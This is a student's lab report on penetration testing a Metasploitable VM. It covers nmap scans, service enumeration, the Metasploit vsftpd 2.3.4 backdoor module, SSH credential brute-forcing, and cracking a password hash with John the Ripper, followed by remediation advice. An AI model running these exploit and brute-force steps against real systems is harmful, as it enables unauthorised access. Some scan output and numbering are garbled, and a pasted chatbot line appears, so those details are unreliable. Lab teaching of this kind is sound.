

# Network Penetration Testing with Real-World Exploits and Security Remediation

**Name:** Vikash Kumar

**ERP:** 6604703

**Course:** B.Tech CSE (Cybersecurity)

**Semester:** 4th

**Date:** 18/05/2025

---

## Introduction:

This project is based on performing penetration testing in a controlled lab environment to simulate attacks that hackers may use to exploit real systems. Using Kali Linux as the attack platform and Metasploitable as the vulnerable target system, I explore various stages of ethical hacking including scanning, enumeration, exploitation, privilege escalation, and remediation. The purpose is to gain hands-on experience in identifying, exploiting, and mitigating vulnerabilities responsibly.

---

## Theory about the Project:

Network penetration testing is the process of evaluating a system's network security by simulating attacks from malicious outsiders and insiders. The goal is to find security loopholes before attackers do. It includes multiple phases:

- **Reconnaissance:** Gathering information about the target.
  - **Scanning & Enumeration:** Actively probing to find open ports, services, and vulnerabilities.
  - **Exploitation:** Gaining unauthorized access using known exploits.
  - **Post-Exploitation:** Activities like privilege escalation or data access.
  - **Remediation:** Providing security measures to patch vulnerabilities.
- 

## Project Requirements

- **Two Operating Systems:**
  - Kali Linux (Attacker machine)
  - Metasploitable (Target/vulnerable machine)

## Tools Details:

Kali Linux	The attacker machine, containing pre-installed penetration testing tools.
Metasploitable	A vulnerable machine to practice attacks on.
nmap	For network scanning, port discovery, OS detection, and service version enumeration.
Metasploit Framework	For exploiting known vulnerabilities in services running on the target.
John the Ripper	For cracking hashed passwords obtained from /etc/shadow.

## Tasks

### Network Scanning

#### Task 1: Basic Network Scan

- `nmap -v 192.168.85.128`

```

Discovered open port 2049/tcp on 192.168.85.129
Discovered open port 514/tcp on 192.168.85.129
Discovered open port 2121/tcp on 192.168.85.129
Discovered open port 6667/tcp on 192.168.85.129
Discovered open port 1099/tcp on 192.168.85.129
Completed SYN Stealth Scan against 192.168.85.129 in 0.17s (2 hosts left)
Discovered open port 3306/tcp on 192.168.85.1
Completed SYN Stealth Scan against 192.168.85.254 in 6.12s (1 host left)
Completed SYN Stealth Scan at 08:27, 6.28s elapsed (3000 total ports)
Nmap scan report for 192.168.85.1
Host is up (0.0010s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT      STATE SERVICE
3306/tcp  open  mysql
MAC Address: 00:50:56:C0:00:01 (VMware)

Nmap scan report for 192.168.85.129
Host is up (0.0012s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry

8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:30:69:40 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; C
```

### Task 3: Operating System Detection

nmap -v -O 192.168.85.129

Output:

```
514/tcp    open  shell
1099/tcp   open  rmiregistry 1 Manager (/var/lib/.../bin/sh)
1524/tcp   open  ingreslock  (/usr/bin/...)
2049/tcp   open  nfs          Reporting System (/admin/...)
2121/tcp   open  ccproxy-ftp  (/home/.../bin/sh)
3306/tcp   open  mysql        (/lib/libmysql.../bin/sh)
5432/tcp   open  postgresql   (/usr/bin/...)
5900/tcp   open  vnc          (/home/.../bin/false)
6000/tcp   open  X11          (/home/.../bin/false)
6667/tcp   open  irc          (/home/.../bin/false)
8009/tcp   open  ajp13        (/usr/sbin/...)
8180/tcp   open  unknown     (/home/.../bin/...)
MAC Address: 00:0C:29:30:69:40 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.127 days (since Sun May 18 05:47:18 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=202 (Good luck!)
IP ID Sequence Generation: All zeros
```

### Task 3 - Enumeration

Target IP Address – 192.168.160.131

Operating System Details –

MAC Address: 00:0C:29:AB:A7:B8 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux\_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

#### Services Version with open ports (LIST ALL THE OPEN PORTS EXCLUDING HIDDEN PORTS)

PORT	STATE	SERVICE VERSION
21/tcp	Open ftp	vsftpd 2.3.4
22/tcp	Open ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp	Open telnet	Linux telnetd
25/tcp	Open smtp	Postfix smtpd
53/tcp	Open domain	ISC BIND 9.4.2
80/tcp	Open http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp	Open netbios-ssn	2 (RPC #100000)
139/tcp		Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp	Open netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp	Open exec	netkit-rsh rexecd
514/tcp		OpenBSD or Solaris rlogind
514/tcp	Open login	GNU Classpath grmiregistry
1099/tcp	Open tcpwrapped	Metasploitable root shell
2049/tcp	Openjava-rmi	2-4 (RPC #100003)
2121/tcp	Open bindshell	ProFTPD 1.3.1
3306/tcp	open mysql	MySQL 5.0.51a-3ubuntu5
5432/tcp	open postgresql	PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp	open vnc	VNC (protocol 3.3)
6000/tcp	open X11	(access denied)
6667/tcp	open irc	unrealIRCd
8009/tcp	Open ajp13	Apache jserv (protocol v1.3)
8180/tcp	Open http	Apache Tomcat/coyote jsp engine 1.1

## Hidden Ports with Service Versions

Port	State	Service	Version / Details
8787/tcp	open	drb	Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
3632/tcp	open	distccd	distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
6697/tcp	open	irc	UnrealIRCd
35851/tcp	open	mountd	NFS mount daemon 1-3 (RPC #100005)
36571/tcp	open	nlockmgr	Network Lock Manager 1-4 (RPC #100021)
44585/tcp	open	java-rmi	GNU Classpath grmiregistry
51228/tcp	open	status	NFS status monitor 1 (RPC #100024)

### Task 4- Exploitation of services

#### 1. vsftpd 2.3.4 (Port 21 - FTP)

- msfconsole
- use vsftpd 2.3.4
- show options
- set RHOST 192.168.85.129
- run

```
# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/v
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.85.129
rhosts => 192.168.85.129
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  - - - - -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies           no        A proxy chain of format
  RHOSTS     192.168.85.129  yes       The target host(s), see
  RPORT      21               yes       The target port (TCP)
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

## 2. OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)(port 22)

- Search ssh
- Use auxiliary/scanner/ssh/ssh\_login
- Show options
- Set RHOSTS 192.168.85.129
- Set VERBOSE true
- Set USER\_FILE /desktop/sshlogid.txt
- Set PASS\_FILE /desktop/sshpass.txt
- Set STOP\_IN\_SUCCESS true
- Run

```
msf6 > search ssh
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 92.168.85.129
rhosts => 92.168.85.129
msf6 auxiliary(scanner/ssh/ssh_login) > set verbose true
verbose => true
msf6 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /desktop/sshlogid.txt
USER_FILE => /desktop/sshlogid.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /desktop/sshpass.txt
PASS_FILE => /desktop/sshpass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/ssh/ssh_login) > show options
```

```
msf6 auxiliary(scanner/ssh/ssh_login) > run

#### Task 6 – Cracking password hashes

- nano abhishek

```
(abhi@kali)-[~]  
$ cat abhishek  
abhikumar:$1$SkLM0Jl$eVs9Nn4.XXJ816et2hW9l.
```

- john abhishek --show

```
(abhi@kali)-[~]  
$ john abhishek --show  
abhikumar:1234  
  
1 password hash cracked, 0 left
```

#### Task 6 -Remediation

Here is your content reformatted neatly under the requested structure for a vulnerability assessment report:

---

### 1. vsftpd 2.3.4 (Port 21 - FTP)

- **Service:** FTP
- **Current Version:** vsftpd 2.3.4
- **Latest Version:** vsftpd 3.0.5 (as of 2025)
- **Vulnerability:**  
vsftpd 2.3.4 contains a **backdoor vulnerability** that allows attackers to gain a **root shell** when a specially crafted payload is sent. This is a **critical vulnerability** in the vsftpd service.
- **CVE ID:**  
[CVE-2011-2523](#)
- **Impact:**  
Allows unauthorized root shell access via port 6200.
- **Remediation:**
  - **Option 1:** Upgrade to the latest version (vsftpd 3.0.5)

- **Option 2:** Disable FTP entirely and switch to more secure alternatives such as **SFTP (SSH-based)**
  - **Reference:**  
[YouTube Exploit Demo](#)
- 

## 2. OpenSSH 4.7p1 Debian 8ubuntu1 (Protocol 2.0) (Port 22)

- **Service:** SSH
  - **Current Version:** OpenSSH 4.7p1
  - **Latest Version:** OpenSSH 9.x+ (as of 2025)
  - **Vulnerabilities:**
    - May be susceptible to **information disclosure, brute-force login attempts, or misconfiguration risks.**
    - Older versions like 4.7p1 may lack modern encryption protocol support and protections against modern attacks.
  - **CVE Examples:**
    - **CVE-2008-1483** – Race condition in sshd
    - **CVE-2008-4109** – Denial of Service via crafted SSH key
    - General issues with outdated OpenSSH versions
  - **Impact:**  
Attackers may exploit outdated configurations or weak passwords, leading to unauthorized access.
  - **Remediation:**
    - Upgrade to the latest version of **OpenSSH** (v9.x or later)
    - Disable **root login** over SSH
    - Use **public key authentication** and enforce **strong password policies**
    - Implement **fail2ban** to block repeated brute-force attempts
  - **Reference:**  
[OpenSSH CVE List](#)
- 

## 3. Linux telnetd (Port 23 - Telnet)

- **Service:** Telnet

- **Current Version:** telnetd (unspecified Linux version)
  - **Status:** **Deprecated and insecure** protocol used for remote terminal access
  - **Vulnerabilities:**
    - Transmits credentials and session data in **plaintext**
    - Vulnerable to **MITM (Man-in-the-Middle)** attacks
    - Lacks proper authentication and encryption
    - Subject to **session hijacking**
  - **CVE Examples:**
    - **CVE-1999-0611** – Telnet service allows remote attackers to access without proper authentication.
    - **CVE-1999-0650** – Telnet service with weak or no access control
  - **Impact:**

Attackers on the same network can sniff credentials or hijack sessions.
  - **Remediation:**
    - **Disable Telnet** service permanently
    - Use **SSH (Secure Shell)** as a secure alternative for remote terminal access
  - **Reference:**

## Major Learning From this project

This project gave me practical experience in ethical hacking using Kali Linux and Metasploitable. I learned how to scan networks using **Nmap** to find open ports, detect services (-sV), and identify operating systems (-O). I explored and exploited vulnerable services like **vsftpd 2.3.4** using **Metasploit**, gaining insight into real-world attack techniques.

I also learned how Linux stores user data and how passwords can be cracked using **John the Ripper** with wordlists. Additionally, I understood the risks of outdated services like **Telnet** and **SSH** how to suggest remediation steps like upgrading software or disabling insecure services.

Overall, this project improved my understanding of system vulnerabilities and how to secure them effectively.
